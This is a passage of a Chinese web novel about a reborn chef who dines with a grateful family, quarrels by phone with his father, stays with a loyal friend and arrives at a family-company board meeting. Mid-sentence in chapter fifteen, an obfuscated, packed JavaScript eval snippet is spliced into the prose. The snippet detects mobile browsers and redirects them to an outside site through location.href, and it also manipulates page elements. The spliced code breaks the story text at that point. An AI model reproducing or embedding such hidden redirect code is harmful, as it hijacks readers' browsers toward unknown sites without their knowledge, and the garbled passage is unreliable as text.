安小屏把自己带了一路的酱油醋和腊八蒜也摆了上来,请他们一起尝尝,田荟分好了碗筷,五个人一起坐下,便是一桌热闹的家宴了。 自家做的饺子用的都是好肉好菜,拿出来的时候还热乎,一口咬下去就知道了,里面浓郁的肉汁还是烫的,稍微沾一点酱油醋,肉香更加明显,腊八蒜酸酸的,还有脆感,增添风味还解腻。 安小屏一口下去,吃得头都抬不起来,完全没有之前说着“我得减肥千万不能吃胖了”,姜汀州这么刁的嘴,也是眼前一亮。 田家这饺子真的很有水平,不夸张的说,他尝过许多高端中餐厅一份几百上千的金贵饺子都没有这个好吃,怪不得田荟路上一直说,确实没有说大话。 田家人吃着饺子,同样也是有点意外:“你这个腊八蒜腌得很好啊,这种醋是什么?我以前也没见过,真好吃。” “叫玫瑰米醋。”安小屏答,咂了咂嘴,“我也没吃出玫瑰味,就是有点点甜的。” 姜汀州笑:“只是因为颜色像所以才叫玫瑰米醋,入口柔和一点,配北方的饺子倒是特别,您要是喜欢,回头我送几瓶过来。” 安小屏确实会挑,这种醋是他去外地找的,这一罐是陈放了两年的,刚取出来一部分放在店里用,如果再放几年,味道会更好,和饺子很配。 田阿姨笑,给他夹菜,又给夹饺子,道:“你吃这个,特意给病人做的。” 她还把胡萝卜羊肉馅的饺子推到姜汀州前面,道:“我家老头早上特意去挑的肉,羊肉好,益气补血的,小时候荟荟生病,家里都做这个,她吃了病好得快。” 羊肉馅儿的又是不一样的香味,皮软肉香,一口下去还能吃出鲜甜味,就知道用心。 这羊肉真好,这边很多卖的羊肉馅饺子膻味大,一般人调不好,这个却没有什么膻味。 四月本来不是吃羊肉的季节,永青这边又不比北方牛羊肉好,而且姜汀州吃的出来,这是肋骨下最好的那块肉,这得是老顾客赶着早去,才能买得到。 天气还有点冷,姜汀州吃完这口羊肉馅儿的饺子,就觉得身上和心里暖和起来。 以前都是他费心做菜给别人吃,现在真是不一样,即使是萍水相逢的缘分,竟也有人这样用心做给他吃了。 13、第十三章 田家人在饭桌上一直在谢他,说当时在医院遇见他真是幸运。 “是田荟很厉害,稿子写得好,帮了我很大的忙,没有我她迟早也能出头,”姜汀州真心道,“我才应该谢谢她的。” 对于姜汀州来说,与上辈子做了不一样的选择提前去医院,眼前的一切才是真正的幸运,大家虽然刚认识不久,但相处倒是融洽。 田父说这位年轻人拿过厨师大赛的冠军,之前怕他看不上这些自家的手艺,没想到姜汀州脾气好人还随和,不管说什么话都能接得住。 他说起这饺子的肉馅就是在老市场这边买的,还起了个大早去挑,姜汀洲接道:“我尝着像美好肉铺那边的?他们家的确实不错。” 他记得这家店,肉是活羊运过来的,不是那种放久了的冻肉,所以价格贵一些,但口感甩别家一条街,还很不好买。 田荟震惊:“这你也吃得出来?” 她知道姜汀州是个厉害厨子,吃出饺子馅是哪块部位的肉做的还算是正常,但吃出是哪家铺子就太吓人了吧。 “没你想象的那么玄乎,他以前在老市场很多肉铺都打过小工的,”安小屏一边吃一边道,“哪家铺子什么情况都知道。” 他当时做姜汀州小跟班的时候还蹲在店铺门口等过他,看十四岁的姜汀州熟练使那把砍肉的砍刀,看起来很帅。 “是啊,”姜汀州笑道,“我以前也住这里的。” 他现在倒想起这里一点好处来。 至少老市场这里的菜市场是真的不错,品质新鲜,包罗万象,有许多其他地方买不到的东西。外面许多高端超市只是噱头多,真要说味道和新鲜程度,不如老菜市场这边的几家店,只不过这些好处当时忙着打小工的姜汀州享受不到罢了。 田阿姨连连点头:“是啊,在这里住的久就知道是真的适合过日子,前几年我们本来想卖房子搬新城区那边,但就是舍不得这个菜市场。你说这人生在世,不就为了这一口吃的嘛。” 餐桌上不仅是饺子,简单拌一拌的凉菜都很好吃,黄瓜、西红柿是本地人自己种的,早上刚摘下来,特别新鲜,吃着和超市那些就不太一样,甚至不比宫宴里那些大价钱的有机蔬菜口感差。 姜汀州和田家聊得开心,很久都没有这样轻松地吃一顿饭。 安小屏自减肥成功以来都很少吃这么饱,撑着脸颊在一边发饭昏,然后就听到自己手机响了。 他打了个哈欠,慢吞吞拿出手机一看,愣了一下,反复确定了上面的联系人名字,然后戳了戳姜汀州。 他的手机到现在还是关机的,没人能联系到他,会通过安小屏找他的人只有一个,他看到那个名字也是意外,当即接了起来。 “妈。” 姜汀州起身,一个人走到了角落里,道:“有什么事吗?我听说你最近身体不好,应该好好休息的。” 那边没回答,先咳了几声,随后就是一道温柔的女声:“这话应该我先问你,小宝,你现在身体好了吗?我怎么都打不通你的电话,只好找到你的小朋友了。” 姜母有先天性心脏病,天生体弱多病,一直在调养,但身体依然是好一阵怀一阵的,连家里的事情都不太管得住,但她一直对姜汀州很好,现在管他叫小时候的小名“小宝”。 家里其他人都不把安小屏当回事,而且这几年两个人闹得不愉快,连陆白屿都没见过他,唯有姜母记得,他是有个朋友的。 并且她还存着安小屏的电话号码,能在现在联系上姜汀州。 “妈,我没事了,”姜汀州道,“您别费心管这些事,养好自己身体就行了,我已经长大了,这些事情会处理好的。” “你的事情我怎么能不管呢?你总是对我报喜不报忧,”姜母道,“是家里对不起你,你在店里受了这么大的委屈,我之前居然不知道。” “小宝,今晚回家好不好,我已经很久没有见你了,让王妈做你喜欢吃的菜。” 姜汀州没回答,他现在已经饱了,实在吃不下去,于是沉默了一会儿,只重复着答了一句:“您不用操心,我会处理好的。” 听他这样讲话,姜母长叹了一声,声音也变得有些哽咽,她想接着说什么,手机那边就传出“砰”的一声很大的推门声。 “你联系上姜汀州这个混账了,是吧?来,把手机给我。” 这是姜父姜益生的声音,他嗓门一向很大,姜汀州一认出来,就下意识把手机拿远了一些,不想听这段狗叫。 姜母自然不肯给他手机,两个人争执了几句,随后姜益生的怒吼便传过来了:“你还敢惯他!这次他给公司惹了多大的祸知道吗?陆家都知道了,明天董事会陆嘉和跟陆夫人都会过来,我怎么和人家解释!” “这又不是我们小宝的错,他生病了还要被网暴,难道陆家就能不讲理吗?” “你懂什么?我懒得和你说。” 随后,姜汀州听见一声惊叫,然后是姜柚的声音“爸你别这样”,对面的声音就一下大了起来。 “姜汀州,你翅膀硬了是吧!” 姜汀州还没回,便听到一连串的指责:“你怎么连个店都管不好?明天滚过来给我好好解释这件事,否则我扒了你的皮!” “有什么可解释的,事实不就摆在明面上吗?”姜汀州对着拿远一点的手机,奇道,“你不是也废物一个,没本事解决这件事,只会放狠话,我倒是要看看,你怎么扒了我的皮。” 姜益生简直不敢相信自己的耳朵。 老店那些人和他说姜汀州发烧之后变了个性子,他还不信,现在一听这话,倒像是回到他刚回家那股子硬脾气的样子了。 以前的姜汀州被收拾几回就知道收敛,现在不知道怎么回事,又一夜回到解放前了。 “你还敢这么跟你老子说话!”姜益生暴怒,“姜汀州,你……” 他话还没说完就被姜汀州打断了。 “我看你是我亲爹的份上才提醒你的,少发这种没有用的脾气,不然很容易中风偏瘫的。”他道,“我之前还听医生说,坏情绪是身体的敌人,这句话我也好心送给你。” 上辈子姜益生就是中风,而且也就是几年后的事情。 他一直有三高,之前没当回事,现在年纪又大了,结果一场酒之后中风偏瘫,放在医院之后,越治越不行,最后连句清楚话都说不出来,躺在病床上鼻歪眼斜流口水。 姜汀州觉得自己家基因不大好,每个人身上都带点病,听说姜家老一辈人也是突然生病去世,连送医院的时间都没有。 这命运说起来也是可笑,姜益生一向为了利益什么都可以不在乎,算计来算计去最后在医院痛苦度日,姜汀州努力了一辈子突然猝死,反倒是姜柚这个没血缘关系,没病没痛的,命硬,苟到最后,赢到最后。 姜益生显然没有把他的忠告听进去,大骂了几声姜母听到他这样讲话,情绪也不由得激动,声音都尖了起来,一边哭一边说你不能对小宝这么说话,那边又闹了一阵,随后电话就被挂了。 电话一挂,世界就一下安静下来。 就在旁边,田家三口正在收拾吃完饭的桌子,有说有笑的。 田荟一边洗碗,一边挤在田阿姨身边说话,说自己这个月涨了工资给她买礼物,田阿姨说着哎呀不要花钱了,却还是忍不住笑,看起来简单又幸福。 姜汀州在原地站着看了一会儿,只觉这人和人的参差真是比人和鬼的都大,随后转头把手机还给了安小屏。 即使他已经找了个角落接电话,但是这院子小,靠得近的安小屏都听了个大概,紧张道:“阿姨没事吧,你要不要回去看看?” “没事,”姜汀州道,“借他八百个胆子,也不敢真的对我妈妈动手的。” 姜家的情况他最清楚不过,姜益生现在脾气大,实际上是个倒插门。 他原是家里穷得过不下去,有幸拜了有御厨传承的姜大师傅做学徒,手艺没学到多少,倒是凭着好皮囊和精明的性格娶到了姜家唯一的女儿,结婚的时候连姓都改了。 从头到尾,姜母姜茉莉才是姜家正经的继承人,握着姜氏48%的股份,在陆家入股之前,姜母手里的股份高达80%以上,且是完全的婚前财产。 姜母身体实在不好,现在公司的管理权都在姜益生手上,他胆子大了往公司里插自己家的穷亲戚,杨店长就是其中之一,所以姜柚管他叫杨叔叔。 但他也不敢真的对姜母怎么样,像吼这么大声的时候都算少见。 姜茉莉只是身体弱性格温柔,不代表她没有脑子,早早就定了遗嘱,倘若她不行了,股份给两个孩子平分,姜益生一分都拿不到。 他大约是最不希望姜母出事的人,所以在家里都好好养着供着,姜母虽然因为身体没什么话语权,但从来没受过委屈。 “我现在不回姜家反而对她好,”姜汀州很有经验,“这样那边会平静一点,不然就得当着我妈的面打起来了,更刺激她。” 安小屏担心道:“那明天呢?明天董事会,你总是要见到他的。” “明天董事会有陆家人,他只会装得人模狗样,怎么敢对我来硬的?”姜汀州道,“你别怕,他就这样,听着吓人,实际没什么可怕的。” 看起来人高马大像个大老虎,内里是个一如既往的寄生虫。 在某些方面,姜柚都比他拟人一点。 至少在妈妈这件事上,姜柚还是长了点心的,他被姜茉莉当做亲儿子一样养大,千般呵护,万般宠爱,长大了也没把姜茉莉当做利益和筹码,甚至他刚开始和姜汀州斗的时候,很大原因就是发自内心的嫉妒,觉得他抢走了妈妈的关注度。 现在的姜家好不容易结束这场闹腾,姜柚正在安抚着母亲的情绪,给她端了温水吃了药,姜益生一看这情景也有点慌,凑到跟前去确定她没有问题,才微微松了一口气。 但姜茉莉撑着没有晕过去,脸色发白,盯着他,道:“你不能这么对我儿子说话。” 姜益生不敢发脾气了,声音一下小了很多,却还是不肯低头:“这是他惹下来的事情,我说他几句怎么了?他要是有小柚这么听话懂事,我至于这样?” 姜茉莉摆了摆手,她仍然有些哽咽,但语气听着十分坚定:“姜益生,你别以为我不知道,杨金豪都找到我这里来了,把这件事原原本本全都和我说了。小柚和小宝都是好孩子,这个家分明是被你害成这样的,你就是罪魁祸首!” 姜柚听到杨店长这个名字,心虚一闪而过,但听到后一句又淡定下来。 他知道妈妈总是不舍得怪自己的。 但姜茉莉顺过气之后的下一句话又让姜柚的脸色发生了变化。 “明天的董事会,我也会参加,我会带人去公司好好查查你最近干了什么,”她道,脸色苍白却坚定,“姜益生,你要知道,姜氏不是你一手遮天的地方。” 14、第十四章 姜益生一愣,问她:“你什么意思?你不要在这个时候闹!” “我也有姜氏的股份,参加董事会天经地义,维护我的儿子也是天经地义,”姜母道,“小宝都不愿意回家了,要不是这回闹得大了,我竟然还呆在家里和瞎子聋子一样,明天我必须去。” 她已经好几年没有去过公司了,这回连姜柚都劝不住。 明天的董事会注定不会太平静。 这一点别说姜家的人,连安小屏听到这个电话里一言半语的都感受到了,他有点担心,对姜汀州叮嘱道:“明天要是你爸那边来横的,保全自己为上,你现在病还没好全呢,你可千万不能……” 两个人此时已经告别田家,在去安小屏家的路上,姜汀州手上还拎着田家硬塞给他的小面包,因为看他挺喜欢的,就满满装了一袋子,安小屏已经絮叨一路了,他无奈,伸手拿了小面包堵他的嘴。 “好了,”他道,“我有分寸,不会吃亏的。” 两个人这样走了一路,很快到家门口。 安小屏家在山脚下,这里房子比田荟家还要僻静一些,建房子的年份也比那边要老得多。老城区这边的住宅区很多都是自建房,地皮是自己的,安小屏家也是这样,但是比田荟家要大很多,是一块不太规则的多边形的地。 姜汀州之前对安小屏家的印象就是住的房子小,院子有些乱,养了鸡鸭鹅补贴家用,还种了菜,一打开门就是家禽的味道。 安奶奶去世之后,院子里就空了,但他这回来,发现和自己印象中又不一样了。 看着陈旧了很多,是很久没住人的样子,安小屏院子里的隔墙塌了一大半,显得很乱,因为这墙是和邻居共用的,所以邻居家的情况看得也很清楚。 “不用怕,就是几个月前下暴雨,山上的水冲下来围墙才塌了,”安小屏走进来道,“那老围墙本来就不大牢固,没伤到人,我得去上大学,一直没空找人修,不过咱家住的房子没事,就没多大影响。” 姜汀州往旁边看,隔壁也很荒凉。 他记得隔壁住了一对很和蔼的老夫妇,院子比安家的小一点,但是打理得很好,一边种了花草,一边种了果树和菜,郁郁葱葱的,像是童话里的乡村小屋一样。 现在却也变了样子,院子里长了许多杂草,庭院中间的老柿子树倒长得还好,依稀可见之前的影子,但看起来已经有段时间没有住人了。 他问道:“那隔壁住的爷爷奶奶呢?” “胡爷爷生病了,被他女儿接去国外治病了,以后都在国外疗养,不打算回来了,”安小屏道,“他家门口都贴着售卖的广告纸呢,我前段时间还看见有中介来带人看房,现在的价格要卖四百万左右,听说有人意向要买,但是嫌贵,还在讲价呢。” 姜汀州看了一眼那院子。 按照永青老城区两万左右的房价,这里大约二百平的地方,要价四百万真的不算贵,算是正常价格。 这一带都是老房子,连着地皮一起卖,有国有的土地证,是可以买卖的。 但这里地方偏僻,周边陈旧,基本没有可能拆迁,小巷子只能过电瓶车,车停不进来,而且按照政策,得交一笔出让金,房子和院子得重新装修,而且按规定还不能拆了大改,这又是一笔花销,住的还未必舒服。 相比较起来,这笔钱足够在新城区核心地段买一个交通方便物业一流还带学区的大平层新房子,最近楼市虽然热闹,但这毕竟不是小钱,所以有段时间没卖出去,又没人住,房产中介不会花心思打理,一看就显得杂草丛生几分荒凉。 但姜汀州记得它之前的漂亮样子,总觉得可惜。 “好了好了,别关心别人家了,”安小屏推他,“你先去休整吧,明天我们两个都要早起,先在我这里凑合一个晚上。” 安小屏还怕姜汀州从璀璨之星那种地方搬过来会不习惯,两个人收拾之后让他住主卧,但是姜汀州不肯,最后两个人就一起睡主卧房间的大床了。 以前两个人也不是没有躺在一起过,他那个养父在家大晚上发酒疯的时候,姜汀州不堪其扰,来安小屏这边借宿过几次。 姜汀州简单收拾了一下,早早地躺在床上,但睁着眼睛睡不着。 他脑子里想着许多事,安小屏也没睡,他在玩手机,抬起头就看见姜汀州发愣的样子,伸出手指捅了捅他,问道:“你是不是在担心明天董事会的事情?” “董事会的事情我想好了,”姜汀州道,“我知道怎么做,你不用担心。” 安小屏撇了撇嘴,道:“你不用安慰我,姜氏那些人从来都不向着你,就算你赢了,说不定都会内部改流水判你输。” 他平时是有点愣,但是在这件事上感觉倒是很敏锐,上辈子确实是这样发生的。 姜汀州曾经把这场看似公平的比拼看做最重要的事情,但是他彼时并没看清楚,这场比拼的深层的缘由并不在于姜柚和姜汀州谁生意做得更好,而在于姜家和陆家的关系会偏向哪一边。 这几年,姜汀州在厨师方面的天赋实在掩盖不住,他在姜氏的表现证明了自己并没有被养废,姜父的卖惨策略不奏效了,而且,姜柚也渐渐独当一面,陆家这些年对姜家的补偿怎么算都该还清了,光靠着以前的方式,已经很难再从陆家讨到好处。 在这种情况下,姜益生必须建立起新的、更加稳固的关系。 幸好,有了这些年的基础,两家的孩子们关系不错,姜柚和陆家小儿子陆嘉和青梅竹马,长大了就更加亲密,甚至有点友达以上的暧昧。 姜汀州虽然离家,但是受到陆白屿的关照这件事姜益生知道,他搞不懂两个人的具体关系,也完全不清楚这两个人已经暗地里谈上恋爱的事实,但仅仅是“朋友”这一层,就足够他对姜汀州上点心了。 陆家的这两个儿子都已经到了当陆运集团管理层的时候,讲话已经很有分量了。 上辈子董事会召开的时候,姜柚和陆嘉和如胶似漆,甚至陆嘉和还为了他特意来参加这次的姜氏会议,足见两个人关系不一般。 反观姜汀州,为了保密避嫌,生怕谈恋爱的事情传出去对陆白屿产生什么影响,表现得和忙碌的小陆总不怎么联系的样子,累死累活也只有自己一个人扛。 于是,在当时的董事会上,姜益生权衡之后,公开宣布,是姜柚赢了。 他顺利做了副总,拿到了一直想要的奖品,和陆嘉和拥抱庆祝,高兴不已。 姜汀州当时很失望,但完全没有怀疑过流水的数据不对,直到他接手公司之后,在曾经的记录看到了这场比局的真实数据,才知道当时的结果其实是自己赢了。 一季度宫宴老店的流水比香蕴半岛多了八千多块钱,堂堂正正的赢家,本来应该是他。 彼时的姜汀州脑子一转就明白了。 这样的结果,只能说明一个事实,在姜益生眼里,从来没有公平对决,只有怎么以更好的姿势吸血的算计。 而眼下这个姜汀州拼命努力证明自己的机会,并不是因为自己的努力,而是因着陆白屿得到的——他的输赢不由得自己,一直是由陆家决定。 他对明天的董事会看得很明白,所以他说的是实话,他现在脑子里想的并不是这方面的事情。 但安小屏不信。 “你别担心,”安小屏道,“我现在是大人了,以前都是你护着我,现在,你以后能靠我了。” 他的手机还亮着,照着安小屏的眼眸,显得亮亮的。 “我不是说着玩的,”安小屏道,“我看隔壁能卖四百万,上次中介来的时候我也问过,我家的应该也能卖到差不多这个价格。” “我知道姜家人不是好相处的,就算那个赌约你赢不了也没关系,你明天不用和他们拼命,你回到我这里来,拿这笔钱,可以开一家属于自己的店,过自己的日子。” 他像是已经想好很久,现在下定决心了。 姜汀州是头一次听到安小屏有这样的计划,他震惊地张了张嘴,道:“你……要为自己多想一想,这不行,我怎么能要你的钱?” “我这就是为自己想啊,”安小屏认真道,“我现在做网红也有一点收入,够养活我自己了。我现在唯一的愿望,就是你离开姜家,过得自由高兴一点,你才是要为自己想一想。 再说了,你那手艺,我投资你是赚了才对,多少人想投说不定还没有那个机会呢,对吧?” 安小屏一直以来想的都很简单,姜家那个地方不好,就应该迅速离开才对。 自奶奶走了之后,姜汀州就是他最重要的人,而且要是没有姜汀州用脸替他挨了那一刀,小混混的那气急败坏的一刀就要扎在自己脑门上了。 他总觉得要不是那道疤,姜汀州当时回家之后或许能少受一些排挤,也不会被贵族学校那群人嘲笑欺负了。 “所以,哥,放宽心,”安小屏拍了拍他的肩膀,道,“如果你赢了,拿回来奖品是天经地义,倘若他们欺负你,你就直接掀桌子走人,不受他们的闲气,我也可以做你的底气的。” 他说到这里,还嘿嘿一笑。 安小屏这所有的打算和心事,姜汀州都闻所未闻。 他此时才觉得自己一直以来都对朋友了解甚少,即使是经历了重生,或许只看清了一部分事情。 上辈子他走得太急,总是步履匆忙,从来都没有停下来好好看看身边的一切。 安小屏说完这些就很安心地睡了,他是真的决定要卖房子,姜汀州劝他不听。 这当然不是好选择,更不是一笔好买卖。 这种有可交易的地皮证能自己建房子的,价格不像普通商品房有波动,一直是很保值的,最重要的是,这是安家唯一留给安小屏的资产了,怎么能因为自己卖掉呢? 安小屏这个人一根筋,言语劝他一向是没有用的,姜汀州辗转反侧,一个晚上都没怎么睡。 这里是很安静的,夜晚有虫鸣鸟叫声,反而显得更加安静,姜汀州都能听到自己心跳的声音,到了凌晨的时候,总算迷迷糊糊地睡过去了,但天还蒙蒙亮他就醒了。 姜汀州看了一眼墙上的钟,才五点钟,他轻手轻脚地下床,闹钟没响,安小屏还睡着,没醒。 他起床刷牙,水龙头这边的窗户正对着隔壁院子里那棵柿子树。 这棵树有些年头了,是整个院子里最高的,姜汀州还吃过它的果子,很甜,每次到了结果的时候都是满满一树,吃都吃不完。 都说柿子树命硬,确实如此,隔壁院子现在这种的无人打理的状态,各种植物都被杂草抢营养,哪怕没有细心照顾她的人,它还活得很好,并且展现出一种舒展的生机勃勃的状态。 姜汀州盯着那棵树看了很久。 他小时候来安小屏家,就很羡慕隔壁的那家,因为看起来那样幸福平静,种树种菜,想吃什么就在地里摘一些,一家其乐融融,不像他和养父租住在脏乱差的房子里,每天还在为吃食发愁吵架。 他觉得自己长大后要是也能住上这样好的地方就死而无憾了,可这样的愿望在他真正长大后就忘记了。 姜汀州远大的目标换了一个又一个,大部分都实现了,但眼下的他只是穿上外套,迎着晨雾出门,兜里揣着一点零钱,出去买早餐。 15.第十五章 观音山脚下的安小屏家靠近早市,从小路走过去,大概十几分钟就到了。 天际还暗沉的时候,永青市最老的早市就陆陆续续亮起灯来了。 最外面的早餐摊是最早亮灯的,勤快的老板凌晨两三点就要起来准备。 这里的店都是干了多年的,没有花里胡哨的招牌,巴掌大的店面,旧旧的门面,横七竖八地摆了几张塑料椅子,各类摊子一开锅,水蒸汽“呼啦”一下冒出来,融合着面点、炸货和各类汤水粥食的香气便扑面而来。 巷子口第一家油炸摊味道最香,姜汀州买了一根油条,还有一个炸虾饼,热情的老板给他推荐:“芋头包也来一个吧,这芋头好,我老婆亲自去市场挑的!保证好吃。” 姜汀州道:“那也拿一个吧。” 他很快拿到了新鲜炸出来的油条虾饼和芋头包,老板还特意挑了个头大的给他,在这样的冷天气里,炸货拿到手里一下就热乎起来了。 他走到对面豆腐脑店坐下,又点了一碗鲜豆花,然后姜汀州撑着脸,在脑子里算自己现在有多少钱。 他从十七岁开始做学徒,工作到二十二岁,目前全部加起来大概一百万出头。 自从高中辍学和家里闹得不愉快之后,他之后再也没用过姜家的钱,这笔存款基本上都是他自己挣的。 对他来说赚的不算多,虽然是姜氏的亲儿子,但是他在宫宴从一般厨师做到主厨,拿的工资和奖金都是行业内正常水平,甚至相对略低,这一百万里还有参加央视节目夺冠后拿到的奖金,平时几乎没什么开销,绝大部分都存下来了。 最大的开销大概不久前给前男友送的二十多万的手表,现在正戴在陆白屿的手腕上,送都送了,没有要回来的道理。 他正想着自己还有没有什么值钱的东西的时候,点的豆花很快上了桌,热气腾腾的,趁热吃正好。 永青这边的口味和其他地方不一样,外来人口多,所以味道很自由,甜的咸的都可以,浆料就在桌子上,自己放。 姜汀州偏爱吃咸口的,这家还坚持用手工做,入口十分滑嫩,浇的是店家自己调的酱,简单的葱花、紫菜和酱油,可以配点小咸菜,酱水的味道是淡淡的咸鲜味,突出的豆腐脑本身浓重的豆香。 一口爽滑的豆腐脑入口,手边的油条是刚炸出来的,放了这一会儿没那么滚烫,筷子一咬下去就听到酥脆的声音,油条里面的芯还是软的,配合豆腐脑吃并不觉得油腻。 姜汀州脑子里本来还想着事,但一口下去,注意力都被眼前的早餐吸引了。 他先咬了一口油条,顺着一勺豆腐脑,又随了一口炸虾饼。 虾饼和蓬松的油条不一样,是一张扁圆扁圆的薄饼,香味都浓缩在里面,永青不靠海,炸虾饼用的是本地的小河虾,个头小虾味足,薄薄一张饼,用料却很实在,虾都是炸酥了的,热乎乎的油香气充满整个口腔。 不过比较起来,他最喜欢的还是顺便买的芋头包。 这芋头确实品质好,不像外面现在流行把芋头打成泥,这家炸芋头包是老做法,里面夹着的是芋头丝,外壳是脆香的,里面的芋泥混着芋丝带着嚼劲,伴着调味,是特别的咸辣口,一口下去,香气十足。 这些都是永青常见的早餐种类,但老市场这边的做法还是很特别,没有像外面连锁店那种预制冷冻货,新鲜的食材和做久的老手艺,在热气腾腾的时候吃下肚,整个人都醒了过来。 姜汀州算完钱第一反应是我好穷,不久之前,三十二岁的他已经手握估值数十亿的姜氏食品,对比起来一百万就很少了。 不过真过日子的话,用不了多少钱。 永青的老市场破旧有破旧的好处,比如说物价一直不高,这三个炸货加上一碗豆花总共五块,这点东西如果在新城区那边买,翻个倍还没这个味道好。 姜汀州慢慢地吃完这顿早饭,看着天色亮起来。 以前的周一,他总是忙碌的。 管餐厅的时候,店里虽然不做早餐,中午十点半才开门,但是他要早起,最晚六点半就要到店,对接确认今天送过来的最新鲜的食材,然后固定晨会,随后就开始做那些很耗时间的菜,从早到晚都没有停下来的时候。 之后做了姜氏的管理层,更是处理不完的事情,早起的生物钟就固定下来了。 今天对他来说,是全新的一天。 姜汀州烧已经完全褪下,身上再没有一点不舒服,吃饱了早饭,也有了力气。 他知道自己的病已经好全了。 然后他把这些又原样买了一份,带回去给安小屏当早餐,回去的时候安小屏刚起,打着哈欠正在洗脸。 他还在上大学,周一的第一节课十点才上,去隔壁上英市要差不多三个小时,得早点出发,于是一边穿外套一边争分夺秒吃早餐,先咬了一口虾饼,夸了一句真的香死了比我们食堂强多了,随后问道:“哥你现在也要出发了吗?” 姜汀州看了看时间:“嗯,我们一起出去。” 这里是老城区最老旧的地方之一,原来的住户都搬走了不少,观音山脚下空气很好,闻着都很甜,山上郁郁葱葱,眼下天已经亮起来了,抬眼就能看到山顶上观音庙的古塔,被清晨的雾气笼罩着,显得很宁静。 此时,正是观音庙早上敲钟的时候,钟声传过来,不吵,倒是让这块地方显得更加宁静,也叫人心平静下来。 真是个适合退休养老的好地方。 小巷的石子路走到尽头,他就看到两辆格格不入的迈巴赫停在那里。 他看一眼就认出来了,陆家的车。 车边站着的司机也是陆家的人,那司机和他还算是熟识,像是已经等在那里有一段时间了,给他开好了车门,道:“姜少,我送你去董事会,后面那台车是送您朋友过去的。” 姜汀州道:“我打车去。” “这里不好打车的,您要去董事会,这是公事,我来接您也是天经地义,”司机朝他拱了拱手,又请求道,“您别为难我了,我就是一个打工的,这回接不到您,我回去没办法和上面交代的。” 话都说到这里了,且这里路窄,这两辆车停在这里,计程车能过来也没办法掉头离开,姜汀州和安小屏没时间还和他在这里掰扯,最后还是上车了。 姜汀州对这辆车太熟了,陆白屿接他基本都是用的这辆车,里面的车载香薰是他喜欢的味道,后座还放着他的外套,而且他还记得,座位还放着他应急用的笔记本电脑。 姜汀州想了想,伸手把电脑拿了出来。 司机通过后视镜看到他在那里大约敲了二十分钟,然后就把电脑合上了,于是就问了一句:“姜少弄什么呢?这段时间工作是不是挺忙?” “还行,”姜汀州道,“顺手弄点会议上的材料,麻烦你开车稳一点。” 司机:“好咧。” 他本来想去姜氏再整理的,现在刚好弄了,随后头一歪,短暂地睡了一觉,到了姜氏食品办公楼前面的时候八点四十。 他没怎么睡醒,头发都是乱的,是被司机叫醒的,然后随手理了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14423056|153474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头发下车,眼神还有点迷迷瞪瞪的。 一开车门就看见杨店长门神似的杵在那里,表情和木头一样,仔细看还发现脸上似乎有伤口,一见姜汀州眼神就亮了。 他快步上前来,把手里一直紧紧握着的东西给姜汀州,就是那块巴掌大勺子形状的奖牌。 “我找回来的,”他道,“姜少,物归原主。” 他这样子,不像是找回来的,倒像是抢回来的,仿佛这是他的救民丹药,对姜汀州的态度也尊重很多。 但姜汀州不关心过程。 这勺子奖牌做的像个手把件,勺子的前段像是玉质的,白色,泛着淡淡的柔光,后面的勺子把很重,做成了那种做旧的黑金色,中间系了绳子,可以挂在脖子上,然后姜汀州便把绳子缠在手腕上,在手里不轻不重地握着,继续往前走。 杨店长率先给他按的电梯,又紧紧地跟在他身后,跟他说:“今天来的人很齐,陆家的人来了,陆夫人带着陆嘉和,连你妈妈都过来了。” 姜汀州一愣:“我妈?” “是的,”杨店长道,“她说要亲自看看董事会上准备过会的材料,包括两家店的一季度流水,姜总也拿她没办法。” “但我听公司里的人说,赢家是……姜柚,估计不少董事都心里有数,你妈妈毕竟很多年没有插手公司的事情,她未必能看出问题来,就算看出来,她能在董事会上闹吗?” “汀州,我觉得,会上的事情,你得做好心理准备。” 姜汀州点了点头,说了一句:“嗯。” 电梯一路往上,马上到了会议室的楼层。 现在还没有正式开董事会,大家都在旁边的休息室里。 姜汀州刚走几步,就听到那边说话的声音,一听就知道是姜柚。 “……嘉和,你别这样说,陆叔叔一向要求高,大家都知道的,你刚进公司,这成绩已经不错了,以后还多的是机会,”他听起来像是在安慰人,是惯用的柔和声线,“我相信你的,你不是还有我嘛,我们一帮朋友也会帮你的,秦阿姨,你说是吧?” 随后响起来的另一个声音听着也熟,是陆嘉和,陆白屿同父异母的亲弟弟,大嗓门,姜汀州站在门口没进去都能听得一清二楚。 “小柚,幸好还有你,你帮我找的那几个网络投流广告做得还不错,否则就得被我爸骂死了,”陆嘉和抱怨道,“他说我两句也就算了,反正被他从小鄙视到大,就是老拿我和我哥比,他也不想想,我赶上我哥那个神仙吗?” 陆家持有姜氏的40%股份一直挂在陆嘉和名下,他来这里参加董事会是天经地义。 只是他听起来心气不大顺,会议室里也有小董事愿意拍他的马屁,连忙道:“是啊是啊,朋友间互相帮助嘛,等姜柚做了副总,肯定更能帮得上忙了,咱们这合作就更是长长久久!” 陆嘉和闻言,神色稍微缓和了一些,拍了拍姜柚的肩膀:“行了,等这个会议开完,我们出去吃饭去,就当是庆功宴。” 董事会还没开,里面的人就已经确认赢家是谁了,听起来真是其乐融融十分和谐,特别是姜柚和陆嘉和。 关于这两个人,重活一世的姜汀州也没想清楚,明明关系好成这样,后来开了窍的陆嘉和不仅主动公开两个人的关系,甚至为了和姜柚在一起敢和家里拍桌子对着干,但两个人最后还是分了,决裂程度比他和陆白屿这一对见不得光的还难看。 真是世事无常。 姜汀州心里想着这些,然后推门进去,打破了这一室的平静。 16.第十六章 他一进来,整个休息间的人都看着他,姜汀州环视一周,也打量着会议室里的人。 姜茉莉不在这里,杨店长说她还在楼下看资料,除了她之外,相比上辈子的参会人员,在这里的人还多了一个陆夫人,就是陆嘉和他亲妈,秦如霜。 陆家的情况有点复杂,是重组家庭,陆白屿的亲生父母在他年纪很小的时候和平离婚,陆父很快找了家世差不多的秦家联姻,然后有了陆嘉和。 秦家是娱乐圈拍电影的,也是圈子里响当当的金字招牌,和陆家是强强联合。 